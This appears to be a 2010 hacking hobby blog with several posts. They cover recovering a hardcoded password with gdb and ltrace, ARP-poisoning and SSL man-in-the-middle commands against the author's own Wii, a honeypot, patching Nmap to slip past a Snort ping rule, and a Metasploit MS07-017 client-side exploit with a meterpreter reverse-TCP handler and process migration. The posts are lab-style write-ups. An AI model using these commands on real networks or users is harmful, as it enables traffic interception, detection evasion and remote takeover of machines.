Playing with gdb. Reverse engineer your way.

21. Juni 2010 admin Keine Kommentare

Playing a very basic level of a known wargame the other day I was trying to solve the following problem:

Given an executable (ELF, Linux) which accepts a password as an argument and verifies if this is correct, find this string. As most of the problems, it’s quite easy if you have the right tools (and knowledge of course).
Anyway, I thought the solution(s) would make a nice blog entry, so here it is!

In order to play around with it in my own Ubuntu, I wrote a very simple C program, named pass_cli.c


carlos@dell:~/Dropbox/hacking/wargames$ cat pass_cli.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
char password[] = “yomama”;

if(argc < 2)
{
printf(“Usage: %s <password>\n”, argv[0]);
exit(1);
}

if(strncmp(argv[1], password, strlen(password)))
{
printf(“FAIL\n”);
exit(1);
} else {

printf(“WIN\n”);
return(0);
}

return(0); // never reached :)

}

I compiled the program with no special options.

carlos@dell:~/Dropbox/hacking/wargames$ file pass_cli
pass_cli: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

A first tool of the trade when you are looking for strings in a binary is strings, which will look for strings of printable characters inside the binary.

carlos@dell:~/Dropbox/hacking/wargames$ strings pass_cli
/lib/ld-linux.so.2
`:6K*
__gmon_start__
libc.so.6
_IO_stdin_used
exit
strncmp
puts
printf
strlen
__libc_start_main
GLIBC_2.0
PTRh`
yomaf
[^_]
Usage: %s <password>
FAIL

Well, we cannot find the password here (and even if it were displayed here, how could you identify it?) but that gave us some preliminar information about the program. We can see some familiar libc functions (printf, strlen, strncmp, etc.), strncmp will be of interest a bit later.

Another method you could have tried is for example to dump the contents of the .text section inside the binary. This is actually the same idea behind the use of strings, just a lot messier ;)
Remember that the .text section of a binary contains the machine instructions (the compiled code) but that doesn’t mean the strings are neccesarily stored in a readable way. Anyway we could check the contents of this section with the help of objdump.

carlos@dell:~/Dropbox/hacking/wargames$ objdump
Usage: objdump <option(s)> <file(s)>
Display information from object <file(s)>.
At least one of the following switches must be given:
-a, –archive-headers    Display archive header information
-f, –file-headers       Display the contents of the overall file header
-p, –private-headers    Display object format specific file header contents
-h, –[section-]headers  Display the contents of the section headers
-x, –all-headers        Display the contents of all headers
-d, –disassemble        Display assembler contents of executable sections
-D, –disassemble-all    Display assembler contents of all sections
-S, –source             Intermix source code with disassembly
-s, –full-contents      Display the full contents of all sections requested
-g, –debugging          Display debug information in object file
-e, –debugging-tags     Display debug information using ctags style
-G, –stabs              Display (in raw form) any STABS info in the file
-W[lLiaprmfFsoR] or
–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
Display DWARF info in the file
-t, –syms               Display the contents of the symbol table(s)
-T, –dynamic-syms       Display the contents of the dynamic symbol table
-r, –reloc              Display the relocation entries in the file
-R, –dynamic-reloc      Display the dynamic relocation entries in the file
@<file>                  Read options from <file>
-v, –version            Display this program’s version number
-i, –info               List object formats and architectures supported
-H, –help               Display this information

carlos@dell:~/Dropbox/hacking/wargames$ objdump -h pass_cli

pass_cli:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
0 .interp       00000013  08048134  08048134  00000134  2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

[...]

11 .init         00000030  0804834c  0804834c  0000034c  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt          00000080  0804837c  0804837c  0000037c  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text         000001fc  08048400  08048400  00000400  2**4   <—- here
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini         0000001c  080485fc  080485fc  000005fc  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE

[...]

This section starts at the address 0×08048400, that is, the offset is 0×400 (the start virtual address is 0×08048000)

Armed with this knowledge we could hexdump this section and manually inspect it

carlos@dell:~/Dropbox/hacking/wargames$ hexdump -C -s 0×400 pass_cli | less

00000400  31 ed 5e 89 e1 83 e4 f0  50 54 52 68 60 85 04 08  |1.^…..PTRh`…|
00000410  68 70 85 04 08 51 56 68  b4 84 04 08 e8 7b ff ff  |hp…QVh…..{..|
[...]
000004a0  00 00 00 00 85 c0 74 09  c7 04 24 1c 9f 04 08 ff  |……t…$…..|
000004b0  d0 c9 c3 90 55 89 e5 83  e4 f0 83 ec 20 c7 44 24  |….U……. .D$|
000004c0  19 79 6f 6d 61 66 c7 44  24 1d 6d 61 c6 44 24 1f  |.yomaf.D$.ma.D$.| <—   :(
000004d0  00 83 7d 08 01 7f 22 8b  45 0c 8b 10 b8 20 86 04  |..}…”.E…. ..|
000004e0  08 89 54 24 04 89 04 24  e8 cf fe ff ff c7 04 24  |..T$…$…….$|
[...]
00000600  83 ec 04 e8 00 00 00 00  5b 81 c3 ec 19 00 00 e8  |……..[.......|
00000610  1c fe ff ff 59 5b c9 c3  03 00 00 00 01 00 02 00  |....Y[..........|
00000620  55 73 61 67 65 3a 20 25  73 20 3c 70 61 73 73 77  |Usage: %s <passw|
00000630  6f 72 64 3e 0a 00 46 41  49 4c 00 57 49 4e 00 00  |ord>..FAIL.WIN..|
00000640  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

As we can see, the string isn't stored in a readable format, as expected :(
A very useful tool in this case is "ltrace" for we can monitor every system call (with the corresponding arguments!)

carlos@dell:~/Dropbox/hacking/wargames$ ltrace ./pass_cli AAAAA
__libc_start_main(0x80484b4, 2, 0xbf952854, 0x8048570, 0x8048560 <unfinished ...>
strlen("yomama")                                                   = 6
strncmp("AAAAA", "yomama", 6)                                      = -1      <--- TA-DA!!!! :)
puts("FAIL"FAIL
)                                                       = 5
exit(1 <unfinished ...>
+++ exited (status 1) +++

But what if our system doesn't have this tool? Then we have to take the heavy weapons and perform some elegant debugging :)

carlos@dell:~/Dropbox/hacking/wargames$ objdump -T pass_cli

pass_cli:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   strlen
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   strncmp     <---- idea!
00000000      DF *UND*  00000000  GLIBC_2.0   exit
0804861c g    DO .rodata        00000004  Base        _IO_stdin_used

We have very good reasons to suspect that strncmp is being used to check our input against the password so let's start the program in gdb and quickly disassemble it in order to localize the call to strncmp.

carlos@dell:~/Dropbox/hacking/wargames$ gdb -q ./pass_cli
Reading symbols from /home/carlos/Dropbox/hacking/wargames/pass_cli...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel <---- PLEASE ;)
(gdb) disass main
Dump of assembler code for function main:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
0x080484b7 <+3>: and esp,0xfffffff0
0x080484ba <+6>: sub esp,0x20
0x080484bd <+9>: mov DWORD PTR [esp+0x19],0x616d6f79
0x080484c5 <+17>: mov WORD PTR [esp+0x1d],0x616d
0x080484cc <+24>: mov BYTE PTR [esp+0x1f],0×0
0x080484d1 <+29>: cmp DWORD PTR [ebp+0x8],0×1
0x080484d5 <+33>: jg 0x80484f9
0x080484d7 <+35>: mov eax,DWORD PTR [ebp+0xc]
0x080484da <+38>: mov edx,DWORD PTR [eax]
0x080484dc <+40>: mov eax,0×8048620
0x080484e1 <+45>: mov DWORD PTR [esp+0x4],edx
0x080484e5 <+49>: mov DWORD PTR [esp],eax
0x080484e8 <+52>: call 0x80483bc
0x080484ed <+57>: mov DWORD PTR [esp],0×1
0x080484f4 <+64>: call 0x80483ec
0x080484f9 <+69>: lea eax,[esp+0x19]
0x080484fd <+73>: mov DWORD PTR [esp],eax
0×08048500 <+76>: call 0x80483ac
0×08048505 <+81>: mov edx,eax
0×08048507 <+83>: mov eax,DWORD PTR [ebp+0xc]
0x0804850a <+86>: add eax,0×4
0x0804850d <+89>: mov eax,DWORD PTR [eax]
0x0804850f <+91>: mov DWORD PTR [esp+0x8],edx
0×08048513 <+95>: lea edx,[esp+0x19]
0×08048517 <+99>: mov DWORD PTR [esp+0x4],edx
0x0804851b <+103>: mov DWORD PTR [esp],eax
0x0804851e <+106>: call 0x80483dc
0×08048523 <+111>: test eax,eax
0×08048525 <+113>: je 0x804853f
0×08048527 <+115>: mov DWORD PTR [esp],0×8048636
[...]

Now I will place a breakpoint exactly on the address of this call instruction.

(gdb) b *0x0804851e
Breakpoint 1 at 0x804851e

Remember to use the asterisk (*) right in front of the address, so gdb understands what follows isn’t a literal.

Why did I do it this way? Think about it the other way. What happens when the call instruction is executed? The whole stack frame stup parafernalia, namely

  • EIP is pushed to the stack (by the call itself)
  • The function prologue is executed, that is
  • the current value of EBP is pushed to the stack (from now on, known as SFP)
  • the current value of ESP passes to be the new EBP (“a new stack frame starts here”)
  • a value is subtracted from ESP (to allocate space for local variables)

That is too messy to keep track of, so if we stop the execution flow right before the call instruction, what we have is the stack right before all this stuff… the function arguments at the top of the stack ;)

(gdb) run AAAAAA
Starting program: /home/carlos/Dropbox/hacking/wargames/pass_cli AAAAAA

Breakpoint 1, 0x0804851e in main () <--- breakpoint is hit
(gdb) info reg
eax 0xbffff620 -1073744352
ecx 0x6 6
edx 0xbffff3c9 -1073744951
ebx 0x283ff4 2637812
esp 0xbffff3b0 0xbffff3b0 <--- "top" of the stack
ebp 0xbffff3d8 0xbffff3d8
esi 0x0 0
edi 0x0 0
eip 0x804851e 0x804851e
eflags 0×286 [ PF SF IF ]
cs 0×73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0×0 0
gs 0×33 51

Let’s examine the top of the stack. We are actually interested in the first three words.

(gdb) x/12x $esp
0xbffff3b0: 0xbffff620 0xbffff3c9 0×00000006 0xbffff3d8
0xbffff3c0: 0x0015d4a5 0x0011e0c0 0x6d6f797b 0x00616d61
0xbffff3d0: 0×08048570 0×00000000 0xbffff458 0x00144bd6

Without further inspection we can see a 6, the number of char the function has to compare. It looks good at least ;) Let’s remember the exact syntaxis of strncmp()

carlos@dell:~/Dropbox/hacking/wargames$ man 3 strncmp

[...]

SYNOPSIS
#include

int strcmp(const char *s1, const char *s2);

int strncmp(const char *s1, const char *s2, size_t n); <--- allright, three arguments...

[...]

Also one of the first two words must be a pointer to the hardcoded password, the other a pointer to the user input (argv[1] in this case)

(gdb) x/4x 0xbffff620
0xbffff620: 0×41414141 0x4f004141 0×54494252 0x434f535f

Well, this is pretty clearly our string of 6 “A’s” null-terminated. The other address must be the location of our password!

(gdb) x/4x 0xbffff3c9
0xbffff3c9: 0x616d6f79 0×7000616d 0×00080485 0×58000000

OK, another string of 6 characters, null-terminated. The ASCII char associated to these values can be displayed in gdb as follows:

(gdb) p/c *0xbffff3c9
$16 = 121 ‘y
(gdb) p/c *0xbffff3ca
$17 = 111 ‘o
(gdb) p/c *0xbffff3cb
$18 = 109 ‘m
(gdb) p/c *0xbffff3cc
$19 = 97 ‘a
(gdb) p/c *0xbffff3cd
$20 = 109 ‘m
(gdb) p/c *0xbffff3ce
$21 = 97 ‘a
(gdb) p/c *0xbffff3cf
$22 = 0 ‘\000

So here’s the magic password! YOMAMA! ;)

My Wii is more intelligent than me

20. Juni 2010 admin 1 Kommentar

Today I was thinking about playing with my Wii in a different way but finally it was me who was played :)

I wanted to intercept the connection my Wii establishes with the Nintendo server and modify the news stream so I could modify the headlines and show off in front of my girlfriend. Things you do a rainy Sunday afternoon…

First step: ARP poison both the Wii and the router to sniff the traffic.

root@bt:~# ettercap -T -q -i eth0 -M arp /192.168.1.1/ /192.168.1.254/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0… (Ethernet)

eth0 ->       2A:04:73:94:A6:0A      192.168.1.10     255.255.255.0

Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)…

* |==================================================>| 100.00 %

2 hosts added to the hosts list…

ARP poisoning victims:

GROUP 1 : 192.168.1.254 E8:4E:CE:10:6D:E6

GROUP 2 : 192.168.1.1 00:23:69:2F:C1:61
Starting Unified sniffing…

[...]

root@bt:~# tcpdump -i eth0 -nvX -s 0 -w wii.dmp host 192.168.1.254
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

[...]

Unfortunately all we get is a lot of HTTPS traffic (TLS v1 encrypted). Well I didn’t think that the Wii was going to send everything unecncrypted, did I? …

Next thought was to modify the attack in order to sniff the contents of the TLS session. Ettercap itself is able to perform this kind of SSL-man-in-the-middle attack.

From the ettercap man page:

SSL MITM ATTACK
       While performing the SSL mitm attack, ettercap substitutes the real ssl
       certificate with its own. The fake certificate is created  on  the  fly
       and  all  the fields are filled according to the real cert presented by
       the server. Only the issuer is modified and signed with the private key
       contained  in  the 'etter.sll.crt' file. If you want to use a different
       private key you have to regenerate this file.

This way, the attacking machine starts two SSL connections:

1. One with the server. This is a normal SSL connection, where we act as a client and use the public key presented in the server’s certificate to encrypt the data.

2. One with the client, where we impersonate the server using a fake (almost identical) certificate.

root@bt:~# ettercap -Tq -M arp:remote,oneway /192.168.1.254/ /192.168.1.1/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0… (Ethernet)

eth0 -> 2A:04:73:94:A6:0A 192.168.1.10 255.255.255.0

Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)…

* |==================================================>| 100.00 %

2 hosts added to the hosts list…

ARP poisoning victims:

GROUP 1 : 192.168.1.254 E8:4E:CE:10:6D:E6

GROUP 2 : 192.168.1.1 00:23:69:2F:C1:61
Starting Unified sniffing…

This trick usually works with humans because… well, because certificates and all this technology is a fucked up system and we are so used to invalid certificates and to click “Ok”.

But my Wii is more intelligent than me and must somehow check the fingerprint of the public key in the certificate. Everything I got was a error message on my TV explaining that the connection had failed :(

The traffic capture was of course way more verbose, you can see in the capture below how I present the fake certificate and my Wii answers with a Certificate Unknown error message (click to enlarge)

Bottom line, I couldn’t play but I’m happy the security of my Wii is taken seriously.

Thumbs up Nintendo!

KategorienAllgemeines Tags: , ,

Metasploit 3.4.0 (and counting)

19. Mai 2010 admin Keine Kommentare

A short one.

Metasploit has reached 3.4.0 (stable) and it looks like it’s not going to stop here!

Thanks to the support from Rapid7, MSF has already reached more than 550 exploits and 200 auxiliary modules. Remember that apart from the script-kiddie mode (fire [an exploit] and forget), Metasploit is a great tool that assists in exploit development and much more.

I’m excited to see what this project brings in the future…

KategorienAllgemeines Tags:

Let the botnets come to me…

29. April 2010 admin 1 Kommentar

A week ago I decided to install a honeypot at home in order to get some malware samples running in the wild.
I used nepenthes as recommended by the shadowserver foundation and I found it’s extremely straightforward to install and has a very small footprint. Check this uptime and load info:

root@bt:/mnt/sdcard/nepenthes/binaries# uptime
13:30:04 up 7 days, 14:15, 1 user, load average: 0.08, 0.02, 0.01

I hadn’t time yet to properly configure it but the default install captures the binaries send to the different ports (imitating a service) by the worms and store them for later analysis. After a week I have captured 66 different samples already. Not bad…

root@bt:/mnt/sdcard/nepenthes/binaries# ls -l | grep -v total | wc -l
66

A remarkable feature is the automatic send of the binaries to an online sandbox, where they will be executed and analyzed.

I will be giving a talk in November at Backtrack Day 2010 (Germany) about reverse engineering Malware. Now I just need to check my binaries directory and find a good sample for it!

So you want to train an army of ninjas…

19. April 2010 admin Keine Kommentare

I have been recently watching, dissecting actually, these videos from the Polytechnic Institute of the University of NY (cool name, eh?). These are part of the Master’s program in Cybersecurity and the people giving the talks are top of the top. Definitely worth it to check them out! (Would they count as continuing education? ;) )

As an example, an introduction to reverse engineering by Aaron Portnoy of TippingPoint.

Prepare yourself to use the pause button a lot!

Reverse Engineering 101 from Dan Guido on Vimeo.

More info on pentest.cryptocity.net

Snort, NMAP Ping scan and (fast) one line hacks

7. April 2010 admin 1 Kommentar

Last week I was in Barcelona helping some colleagues when a client called asking for a list of “running” clients in his network. We had a VPN connection to this net and the customer itself said that “it didn’t need an accurate list, just to have an idea” so we agreed that a simple ICMP scan would be enough.

This looked like the perfect ocassion to show off my Nmap-fu and I started my Backtrack 4 virtual machine. “Don’t worry, I’ll do a simple NMAP Ping scan…”

# nmap -sP 192.168.x.x/24

To my surprise (and shame) every single IP Address appeared listed as “UP“.

FAIL.

“This can’t be. Hmmm… Do this customer have any kind of IPS/IDS solution in place?”

“Quite probably…”

My first thought was that some kind of IPS recognized the “Ping sweep” and was answering on behalf of the clients, saying all of them are up. Security by obscurity…

I tried it again at a lower pace, using the -T Nmap parameter but I got the same results. Apparently this had something to do with some packet characteristics.

At the end we used a small windows program, Angry IP Scanner, which worked like a charm.

We didn’t have neither enough info about the network infrastructure from this customer nor time to research this funny behaviour but once back in Munich I started to play with Snort and Nmap.

Snort detects this type of scan from Nmap. Here’s an excerpt of the rule:

@ snort – icmp.rules:

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING NMAP"; dsize:0; itype:8; reference:arachnids,162; classtype:attempted-recon; sid:469; rev:3;)

Let’s see this in action.

Note: The parameter “–send-ip” specifies that I don’t want to use ARP queries as host detection method.
@ BT4 – Nmap PING sweep

root@bt:~# nmap -v -n -sP –send-ip 192.168.88.139

Starting Nmap 5.21 ( http://nmap.org ) at 2010-04-04 08:34 EDT
Initiating Ping Scan at 08:34
Scanning 192.168.88.139 [4 ports]
Completed Ping Scan at 08:34, 0.00s elapsed (1 total hosts)
Nmap scan report for 192.168.88.139
Host is up (0.0018s latency).
MAC Address: 00:0C:29:80:BB:D4 (VMware)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
Raw packets sent: 4 (152B) | Rcvd: 1 (28B)

root@ubuntu:~# tail -f /var/log/snort/alert

[...]

[**] [1:469:3] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2]
04/04-05:34:47.622963 192.168.88.132 -> 192.168.88.139
ICMP TTL:50 TOS:0x0 ID:3270 IpLen:20 DgmLen:28
Type:8  Code:0  ID:6629   Seq:0  ECHO
[Xref => http://www.whitehats.com/info/IDS162]

I captured the icmp packets from Nmap with tcpdump and it confirmed my suspicion: ICMP ECHO packets sent from Nmap have a null data section :)

This is not cool (evident signature) and I thought that even when probably there was a parameter to avoid this behaviour, it would be nice to override this in the code. So I started diving into NMAP *complex* code… here is what I found.

——– Carlos in Nmap Land ———–

@ targets.cc (massping)

static void massping(Target *hostbatch[], int num_hosts, struct scan_lists *ports) {
[...]

ultra_scan(targets, ports, PING_SCAN, &group_to);
}

@ scan_engine.cc

void ultra_scan(vector<Target *> &Targets, struct scan_lists *ports, … ) {
[...]

doAnyPings(USI);

}

doAnyPings – calls sendPingProbe(USI, hss)

3347 static void sendPingProbe(UltraScanInfo *USI, HostScanStats *hss) {
3348   if (o.debugging > 1) {
3349     char tmpbuf[64];
3350     log_write(LOG_PLAIN, “Ultrascan PING SENT to %s [%s]\n”, hss->target->targetipstr(),
3351               probespec2ascii(&hss->target->pingprobe, tmpbuf, sizeof(tmpbuf)));
3352   }
3353   if (hss->target->pingprobe.type == PS_CONNECTTCP) {
3354     sendConnectScanProbe(USI, hss, hss->target->pingprobe.pd.tcp.dport, 0,
3355                          hss->nextPingSeq(true));
3356   } else if (hss->target->pingprobe.type == PS_TCP || hss->target->pingprobe.type == PS_UDP
3357     || hss->target->pingprobe.type == PS_SCTP || hss->target->pingprobe.type == PS_PROTO
3358     || hss->target->pingprobe.type == PS_ICMP) {
3359     sendIPScanProbe(USI, hss, &hss->target->pingprobe, 0, hss->nextPingSeq(true));   <—————— !!!!
3360   } else if (hss->target->pingprobe.type == PS_ARP) {
3361     sendArpScanProbe(USI, hss, 0, hss->nextPingSeq(true));
3362   } else if (USI->scantype == RPC_SCAN) {
3363     assert(0); /* TODO: fill out */

[...]
3025 static UltraProbe *sendIPScanProbe(UltraScanInfo *USI, HostScanStats *hss,
3026                             const probespec *pspec, u8 tryno, u8 pingseq) {

[...]

3224   } else if (pspec->type == PS_ICMP) {
3225     u16 icmp_ident;
3226
3227     /* Some hosts do not respond to ICMP requests if the identifier is 0. */
3228     do {
3229       icmp_ident = get_random_u16();
3230     } while (icmp_ident == 0);
3231
3232     for(decoy = 0; decoy < o.numdecoys; decoy++) {
3233       packet = build_icmp_raw(&o.decoys[decoy], hss->target->v4hostip(),
3234                               o.ttl, ipid, IP_TOS_DEFAULT, false,
3235                               o.ipoptions, o.ipoptionslen,
3236                               0, icmp_ident, pspec->pd.icmp.type, pspec->pd.icmp.code,
3237                               o.extra_payload, o.extra_payload_length,
3238                               &packetlen);

[...]

@ tcpip.h

550 u8 *build_icmp_raw(const struct in_addr *source, const struct in_addr *victim,
551                    int ttl, u16 ipid, u8 tos, bool df,
552                    u8* ipopt, int ipoptlen,
553                    u16 seq, unsigned short id, u8 ptype, u8 pcode,
554                    char *data, u16 datalen, u32 *packetlen);

@ NmapOps.h  — were the command line parameters are parsed… If I had just started here! :)

243   extra_payload_length = 0;
244   extra_payload = NULL;

It looks like this parameter is alwasy NULL (0) as long as we don’t specify a –data-length parameter.

Finally I found:

@ nmap.cc

903         o.extra_payload_length = atoi(optarg);   <—- it parses the command line argument
904         if (o.extra_payload_length < 0) {
905           fatal(“data-length must be greater than 0″);
906         } else if (o.extra_payload_length > 0) {
907           o.extra_payload = (char *) safe_malloc(o.extra_payload_length);
908           get_random_bytes(o.extra_payload, o.extra_payload_length);
909         }

So I just did a “dirty hack” to override the parsing of the parameter and set a payload size of 40 bytes even if no parameter is passed.

901         o.debugging++;
902 //      } else if (optcmp(long_options[option_index].name, “data-length”) == 0) {
903 //      o.extra_payload_length = atoi(optarg);
904         } else if (1) {
905         o.extra_payload_length = 40;
906 //      if (o.extra_payload_length < 0) {
907 //       fatal(“data-length must be greater than 0″);
908 //      } else if (o.extra_payload_length > 0) {
909           o.extra_payload = (char *) safe_malloc(o.extra_payload_length);
910           get_random_bytes(o.extra_payload, o.extra_payload_length);
911        }
912       } else if (optcmp(long_options[option_index].name, “send-eth”) == 0) {
913         o.sendpref = PACKET_SEND_ETH_STRONG;

[...]

recompile and it’s done!

And this is what happens kids, when somebody ist bored at home and without internet access :)

KategorienAllgemeines Tags: , , , ,

Thanks for the (detailed) info.

2. März 2010 admin Keine Kommentare

Just a short one. I have just got this on an email from my Web Hosting company.

+======================================+
 PHP5-Update am 16.03.2010 um 10:00 Uhr
+======================================+

Es erfolgt ein Update aller Editionen von PHP5. So wird die bisherige
LATEST-Edition 5.2.11 zur regulären und empfohlenen Edition "5-STABLE",
während die aktuelle STABLE-Edition 5.2.9 weiterhin als Vorgängerversion
"5-LEGACY" bereitstehen wird. Neu zur Verfügung steht die Version 5.2.13,
diese ersetzt die bisherige LATEST-Edition 5.2.11.

Das am Dienstag, den 16.03.2010, um ca. 10:00 Uhr erfolgende Update
erfolgt selbstverständlich vollautomatisch, es ist Ihrerseits kein
manuelles Eingreifen erforderlich.

This comes to say in a nutshell, we have this and this vulnerable PHP version and we’ll proceed to update to this one. As grateful as I am for the information, I can’t stop thinking that maybe it’s a bit too much.

Yes, I know this is intended just for customers, but anyway you never know… who your customers are :)

How to know which process is eating your hard disk

19. Februar 2010 admin Keine Kommentare

OK, I must admit it. I love to pipe commands, I always thought is one of the most powerful features of the linux command line.

The following case is an excellent example.

Now and then I’ve been experiencing random increments in my hard disk usage. And with increments I mean the whole processor was busy with I/O operations. I asked some colleagues, experienced Linux administrators if there were a tool like top, with which I would be able to find out which process is accessing the disk at most. No one came with an answer.

After some research I found a quite satisfactory solution using a bit of bash.


root@dell:~# pidstat -d | sort -nr -k 4 | head -10

[...]
16:18:50          898      0,00    236,30 0,00  kjournald2
16:18:50            1     28,97     44,90      1,17  init
16:18:50          416      0,00      6,07      0,00  kjournald2
16:18:50         1915      2,05      1,94      0,05  compiz.real
16:18:50         1204      0,90      0,40      0,01  cron
16:18:50        11618      0,00      0,31      0,07  bash
16:18:50         1125      1,54      0,16      0,00  mount.ntfs
16:18:50         8232      0,08      0,15      0,00  liferea
16:18:50         1344      0,09      0,13      0,00  devkit-power-da

This runs the command pidstat -d, which gives info about disk usage per pid. Then uses the fourth column as index to order numerically the ouput. Note the use of the -r modifier, this is because the normal operation of sort is to show the lower values first and we need the opposite in this case. Finally, the head command just show us the first 10 lines, this is more than necessary.

The fourth column of pidstat’s output is the number of kB (read) pro second. In case you cannot find any value really out of bounds, you can give it a try with “sort -nr -k 3″ which would give us the processes that went amok on reading.

As a further investigation you can use the PID of the process (second column) with lsof to find out which files are being accessed by the crazy proc and try to figure out the exact cause of the problem.

What you do now with this info is up to you :)

UPDATE: it looks like this is not the best method and there is already a “top-like” monitor for disk activity, called iotop.

root@dell:~# apt-get install iotop

Deceive, exploit, migrate and kill.

2. Februar 2010 admin Keine Kommentare

I’ve been playing with the Metasploit framework and the *evil* meterpreter payload today (I would tell you why but I’m sure it would break a non-disclosure agreement or something :) )

In particular I was studying client-side attacks and recreating the infamous MS07-17 (a classic!). While I was enjoying myself among hex code and debuggers, the way nerds do, I realized that the browser always hanged, thus forcing the user to kill the process and cutting down our meterpreter session. Not good. “Got root?” yes, but just for twenty seconds.

Looking for ways to improve the stability of the exploit, a colleague proposed a workaround, migrate the [meterpreter] server to another process. I totally forgot about the migrate command. This is how it can be done and the issues left unsolved.

I have just implemented the MS07-17 ANI vulnerability with the meterpreter reverse tcp payload, like this

I have “tricked” the user to visit my website and he inadvertently downloaded the evil cursor code that exploits the vuln in the GDI code. Oopppss! As a result, he has connected back to the machine, received the dll (it’s a staged payload) and  injected it into the running process, iexplore.exe in this case.

We can indeed confirm that looking at the dll’s with Process Explorer, as in the follow capture:

After the migration of the meterpreter server to another process, less likely to be killed (for example explorer.exe), IE will crash but the process won’t die completely. Trying to attach a debugger to it will show us that the process window name is “MCI command handling window”. Although Process Explorer still shows the evil dll located at some point in the memory of this process, this address is not reachable using the debugger.

However, just to do things well it would be a good idea to kill the process (or what remains of it).

The whole process would be something like the following paste:

root@bt:/pentest/exploits/framework3# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.8.31 EXITFUNC=seh E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 4444
[*] Starting the payload handler...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (192.168.8.31:4444 -> 192.168.9.34:1088)

meterpreter > ps

Process list
============

PID   Name                 Arch  User                 Path
---   ----                 ----  ----                 ----
0     [System Process]
4     System               x86
580   smss.exe             x86   NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
652   csrss.exe            x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
712   winlogon.exe         x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
756   services.exe         x86   NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe

[...]
1860  ctfmon.exe           x86   CLIENT034\offsec     C:\WINDOWS\system32\ctfmon.exe

 2004  svchost.exe          x86                        C:\WINDOWS\System32\svchost.exe

 1880  explorer.exe         x86   CLIENT034\offsec     C:\WINDOWS\explorer.exe

 1920  iexplore.exe         x86   CLIENT034\offsec     C:\Program Files\Internet Explorer\iexplore.exe

meterpreter > migrate 1880

[*] Migrating to 1880...

[*] Migration completed successfully.

meterpreter > kill 1920

Killing: 1920

meterpreter > getpid

Current pid: 1880

meterpreter >

As easy as “deceive, exploit, migrate and kill” :)

Metasploit and the Pcaprub wrapper

1. Februar 2010 admin 1 Kommentar

Metasploit (i love you) is, it goes without saying, the penetration testing framework of choice of a wide spectrum of professionals (and script-kiddies).

One of the reasons is that everything works “out of the box”, kind of a plug and play evil hacker toolbox.

But playing with it in Backtrack I found that some of the dependencies are not installed, in particular the Pcap wrapper.


msf auxiliary(ipidseq) > run

[-] Auxiliary failed: RuntimeError Pcaprub is not available
[-] Call stack:
[-] (eval):65:in `run_host'
[-] /opt/metasploit3/msf3/lib/msf/core/auxiliary/scanner.rb:114:in `join'
[-] /opt/metasploit3/msf3/lib/msf/core/auxiliary/scanner.rb:114:in `run'
[*] Auxiliary module execution completed

This is really an annoyance if you take into account that several auxiliary modules make use of the Pcap library.

Fortunately, get this working is really easy, just locate the external/pcaprub directory under the framework root dir and compile/install this ruby module.


root@bt:/pentest/exploits/framework3/external/pcaprub# ls
LICENSE README extconf.rb pcaprub.c test_pcaprub.rb


root@bt:/pentest/exploits/framework3/external/pcaprub#
ruby extconf.rb && make
checking for pcap_open_live() in -lpcap... yes
checking for pcap_setnonblock() in -lpcap... yes
creating Makefile
cc -I. -I. -I/usr/lib/ruby/1.8/i486-linux -I. -D_FILE_OFFSET_BITS=64 -fPIC -fno-strict-aliasing -g -g -O2 -fPIC -c pcaprub.c
cc -shared -o pcaprub.so pcaprub.o -L. -L/usr/lib -L. -Wl,-Bsymbolic-functions -rdynamic -Wl,-export-dynamic -lruby1.8 -lpcap -lpcap -lpthread -ldl -lcrypt -lm -lc

root@bt:/pentest/exploits/framework3/external/pcaprub# make install
/usr/bin/install -c -m 0755 pcaprub.so /usr/local/lib/site_ruby/1.8/i486-linux

And there you go! Keep exploiting! :)